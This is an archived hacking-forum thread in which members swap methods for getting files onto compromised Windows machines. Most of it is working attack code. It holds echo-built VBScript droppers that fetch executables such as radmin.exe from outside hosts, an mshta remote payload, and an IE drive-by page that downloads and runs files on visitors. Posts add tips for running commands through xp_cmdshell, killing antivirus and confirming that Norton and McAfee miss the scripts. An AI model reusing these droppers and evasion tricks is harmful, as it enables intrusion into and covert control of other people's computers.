hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Pages: 1, 2, 3, 4
technoboy
thanks alot for those cool vbs smile.gif

no need to upload wget anymore smile.gifsmile.gifsmile.gif
Mik3yZ
yes this is a really helpfull script... the AV program won't e a problem.. you can alsways first upload the tlist.exe to see what processes are on, and kill them with kill.exe
boshcash
QUOTE (Mik3yZ @ Feb 10 2004, 01:48 PM)
yes this is a really helpfull script... the AV program won't e a problem.. you can alsways first upload the tlist.exe to see what processes are on, and kill them with kill.exe

u cant upload a single file , this is supposed to be the problem dry.gif
barty32
I tested it: it workz very well!

thx wink.gif
swya
I've tried this locally, and my up to date Norton Antivirus 2003 didn't detect or try to stop it. Works great smile.gif
freeman
well i get this ERROR.

ActiveX component can't create object: 'ADODB.Stream'

----------

the script doesn't download the file
WINDOWS 2000 . help
Alien
QUOTE (freeman @ Feb 12 2004, 09:21 AM)
well i get this ERROR.

ActiveX component can't create object: 'ADODB.Stream'

----------

the script doesn't download the file
WINDOWS 2000 . help

i'm getting the same error

but i tested on win98se
freeman
you know what, i got this box been up for 2 months now but no ftp or tftp to upload my file. i will continue enjoy looking at it if there is no method to infect it smile.gif
damn
dtDaMan
Hi!

Well, on WIN XP GERMAN is works very fine.

NiCe work guy!!!!

DaMan
gephorce
Nice Info, Thanks!
ghasedak
It isn,t good cod for pcs have Av
Anty viruses Promt on Runing scripts.
blink.gif wink.gif
boshcash
again guys some pcs mabe stopped by net stop command , second thing , if someone has errors when running scripts , i think he has missing components , he can use another way , which is echoing a vbs file that creates an exe file without dowenloading (exe is inside vbs) ..
x1`
do u guys know a free http host that will host my files , so i can edit to direct to this free host smile.gif thx if u can help
Killaloop
one way that always works (and I mean on about 50 hosts i have tried) is:
Write a vb script into a hta file.
What does this vbscript do?
this vbscript has encoded servu.exe and ini into ASCII.
the resulting hta will be about 2.5mb of size.
now you put it on a webserver of your choice and run it on your 'target'
mshta http:\\bla\bla.hta

wait about 1 minute and your servu is there.
just a hint. because most executables get very big when converted to ASCII I recommend you do as I do:
What the hta does:

it directly writes a selfcoded ascii to exe converter onto the target (very small one)
it creates a ascii txt file on the target (ascii source file for servu)
it runs the converter to convert the servu.exe
it directly writes the servu.ini

however, because of script warnings I have removed the automatism of directly running the ascii converter. so it will only directly write all needed files onto harddisk and you will start the converter manually.
this way NO Antivirus program will say a singe word about my script, since it doesnt launch any program.
It works very nice this way
for those of you who know what I'm talking about: try it out it works pretty well.
for the other: I dont give away my hta files smile.gif

hope this helped anyone
boshcash
yea u r right its a good way , but the problem in hta files that they show a window on the screen but u can also put a script to close it as soon as possible , so the user doesnt notice ..
Killaloop
you simple put Close at the end
no problem
got very nice results doing so
end beside ...
having internet explorer installed you never wonder about explorer windows poping up ^^
HAnzsz
yeah dude~!!

thx very much

this shit is tested and works for me.

for people with problems.. read all replies.. you will understand what you are doing wrong as you see others try it too.

dont forget in sql you must put "exec xp_cmdshell'"
in front of it

thought that was the dudes mistake who couldn't echo smile.gif
Rave4
i will try it , today smile.gif , thanks.
blackwarrior
:\ hmmm... nice .. but.. i will continue using ftp -s wink.gif
Killaloop
tftp -s?
hehe think you dont understand the point of this topic ^^

how to get your files onto a host when no filetransfertools are left (deleted to secure a box) or if they are blocked by firewall.
no flame, just wanted to point this out smile.gif
o0oKARo0o
wow, very nice one, it works fine, very usefull post thanks ten times wink.gif
metrox
thanks for the nice method
DvilleStoner
netcat opens a cmd prompt on a certain port if you bind it to the cmd.exe file right?

What is the proper command for this?
ozz
thanks a lot, that would be very useful!
DvilleStoner
Nevermind, I found it. . .=], great site
Israel
Thanx, nice idea
o0oKARo0o
this works fine aswell..

CODE
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
 <security>
   <exploit>
     <![CDATA[
     <object id="oFile" data="fichier a telecharger et executer"></object>
     ]]>
   </exploit>
 </security>
</xml>

or this one in a webpage that you would create before and then forcing the victim to connect to..


<script>
var oPopup = window.createPopup();
  function showPopup() {
  oPopup.document.body.innerHTML = "<object data=fichier a telecharger et executer>";
  oPopup.show(0,0,1,1,document.body);
}
showPopup()
</script>
Flapdrol
If you get errors try putting spaces after the values for the constants::


CODE

echo Const adTypeBinary=1 >>d:\d\madefile.vbs
echo Const adSaveCreateOverWrite=2 >>d:\d\madefile.vbs


See the spaces after 1 and 2

It'll fix it!
cecrex
goddamit.. what a nice idea..
very useful
thanks alot
cenobite
this method is also called Petch.A.Dropper

hxxp://www.eeye.com/html/Research/Advisories/AD20030820.html
Killaloop
yep this one got discovered and patched. nearly needless by now.
for better results try my method as described if you know vbs it works and cant be bugfixed since its no bug its a feature of mshta and cant be fixed (like fixing ftp.exe to not let it transfer files) ^^
tianzhen
i have a more tricky way to dl fie in cmd:

start its:http://user.west263.com/solo/home/down/ca.rar

cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\"
dir /s ca[1].rar
copy 0QMVC11H\ca[1].rar c:\winnt\system32\ca.rar
del 0QMVC11H\ca[1].rar
guufa
Thanks, very useful method! rolleyes.gif
boshcash
QUOTE (tianzhen @ Feb 28 2004, 07:55 AM)
i have a more tricky way to dl fie in cmd:

start its:http://user.west263.com/solo/home/down/ca.rar

cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\"
dir /s ca[1].rar
copy 0QMVC11H\ca[1].rar c:\winnt\system32\ca.rar
del 0QMVC11H\ca[1].rar

the problem is searching for downloaded file , and the window left open after the file was downloaded
marcoz
nice one smile.gif
tianzhen
CODE
echo Dim DataBin>c:\madefile.vbs
echo Dim HTTPGET>>c:\madefile.vbs
echo Set HTTPGET = CreateObject("Microsoft.XMLHTTP")>>c:\madefile.vbs
echo HTTPGET.Open "GET", "http://www.samplesite.com/file.exe", False>>c:\madefile.vbs
echo HTTPGET.Send>>c:\madefile.vbs
echo DataBin = HTTPGET.ResponseBody>>c:\madefile.vbs
echo Const adTypeBinary=1>>c:\madefile.vbs
echo Const adSaveCreateOverWrite=2>>c:\madefile.vbs
echo Dim SendBinary>>c:\madefile.vbs
echo Set SendBinary = CreateObject("ADODB.Stream")>>c:\madefile.vbs
echo SendBinary.Type = adTypeBinary>>c:\madefile.vbs
echo SendBinary.Open>>c:\madefile.vbs
echo SendBinary.Write DataBin>>c:\madefile.vbs
echo SendBinary.SaveToFile "c:\file.exe", adSaveCreateOverWrite>>c:\madefile.vbs



when i run it got a kav popup , but this worx just fine:
CODE
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >webdown.vbs
echo xPost.Open "GET","http://www.finemakeit.com/client/_notes/radmin.exe",0 >>webdown.vbs
echo xPost.Send() >>webdown.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>webdown.vbs
echo sGet.Mode = 3 >>webdown.vbs
echo sGet.Type = 1 >>webdown.vbs
echo sGet.Open() >>webdown.vbs
echo sGet.Write(xPost.responseBody) >>webdown.vbs
echo sGet.SaveToFile "radmin.exe",2 >>webdown.vbs
cscript webdown.vbs
boshcash
really guys test it if this isnt detected by AVs , i will put this instead of mine , credits will goto tianzhen wink.gif if it isnt detected by AV , i would be very thankful to u man

I tested it , it works 100% , still didnt test it with AVs though ..
totof
Works very well thanks man !!
good 2 go!! biggrin.gif biggrin.gif laugh.gif
FuzZyBeeR
Thanx for this. smile.gif Laways used the old way before
boshcash
plzz tell me if tianzhen's way isnt detected or not , if u have tested it , and it doesnt get detected , i will edit main post and add it thanks tianzhen ...

woww . mcafee failed to detect it .. thats nice . i will edit main post
Roby
tianzhen mod wasnt detected by NAV latest virus definitions!

Thanx much for this fine way of transfering files!
BuzzDee
thianzhen's method is just gr8!!

worx perfectly!!

even with avs installed. norton and mcaffee didnt detect it!!

THX VERY MUCH!! THIX IS AWESOME!!
gerok
how would you incorporate this code to an html file (so when people visit a certain webpage, it'll load)? Examples?
xDD
Hmmm Not good

Transfer files and do xxx.exe and

This program must be run under Win32

what the wrong think something with binary mode?
h3llraz0r
CODE

echo Set xPost = CreateObject("Microsoft.XMLHTTP") >webdown.vbs
echo xPost.Open "GET","http://www.yoursite.com/yourfile.exe",0 >>webdown.vbs
echo xPost.Send() >>webdown.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>webdown.vbs
echo sGet.Mode = 3 >>webdown.vbs
echo sGet.Type = 1 >>webdown.vbs
echo sGet.Open() >>webdown.vbs
echo sGet.Write(xPost.responseBody) >>webdown.vbs
echo sGet.SaveToFile "yourfile.exe",2 >>webdown.vbs
cscript webdown.vbs


worked on my system (XP) and downloaded the file. never tested it to execute the file afterwards(your echo'ing the script from cmd shell, can run the file yourself)

also not detected by my Norton Av corp 8.1
xDD
This metod yeah download files but cant execute! Think NOT BINARY MODE then downloaa ...

C:\>program.exe
This program must be run under Win32
boshcash
the vbs file itself isnt binary , but it downloads binary files from http successfully i tested my computer and other pc , works perfectly with tianhanz's way now its fully undetected !
xDD
OK my fault (filtered) source ...

I change www and thats work smile.gif
archiv
CODE
echo Dim DataBin>c:\madefile.vbs
echo Dim HTTPGET>>c:\madefile.vbs
echo Set HTTPGET = CreateObject("Microsoft.XMLHTTP")>>c:\madefile.vbs
echo HTTPGET.Open "GET", "http://www.samplesite.com/file.exe", False>>c:\madefile.vbs
echo HTTPGET.Send>>c:\madefile.vbs
echo DataBin = HTTPGET.ResponseBody>>c:\madefile.vbs
echo Const adTypeBinary=1>>c:\madefile.vbs
echo Const adSaveCreateOverWrite=2>>c:\madefile.vbs
echo Dim SendBinary>>c:\madefile.vbs
echo Set SendBinary = CreateObject("ADODB.Stream")>>c:\madefile.vbs
echo SendBinary.Type = adTypeBinary>>c:\madefile.vbs
echo SendBinary.Open>>c:\madefile.vbs
echo SendBinary.Write DataBin>>c:\madefile.vbs
echo SendBinary.SaveToFile "c:\file.exe", adSaveCreateOverWrite>>c:\madefile.vbs


dont work on my pc ... but this work fine : rolleyes.gif

CODE
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >webdown.vbs
echo xPost.Open "GET","http://www.finemakeit.com/client/_notes/radmin.exe",0 >>webdown.vbs
echo xPost.Send() >>webdown.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>webdown.vbs
echo sGet.Mode = 3 >>webdown.vbs
echo sGet.Type = 1 >>webdown.vbs
echo sGet.Open() >>webdown.vbs
echo sGet.Write(xPost.responseBody) >>webdown.vbs
echo sGet.SaveToFile "radmin.exe",2 >>webdown.vbs
cscript webdown.vbs

tianzhen
QUOTE (boshcash @ Nov 27 2003, 11:51 PM)


Here is the UNDETECTED version by tianhanz :
CODE
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >webdown.vbs
echo xPost.Open "GET","http://www.finemakeit.com/client/_notes/radmin.exe",0 >>webdown.vbs
echo xPost.Send() >>webdown.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>webdown.vbs
echo sGet.Mode = 3 >>webdown.vbs
echo sGet.Type = 1 >>webdown.vbs
echo sGet.Open() >>webdown.vbs
echo sGet.Write(xPost.responseBody) >>webdown.vbs
echo sGet.SaveToFile "radmin.exe",2 >>webdown.vbs
cscript webdown.vbs


gr33tz to all ppl , tell me ur opinion about that way !

mad.gif hei that's not my name
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.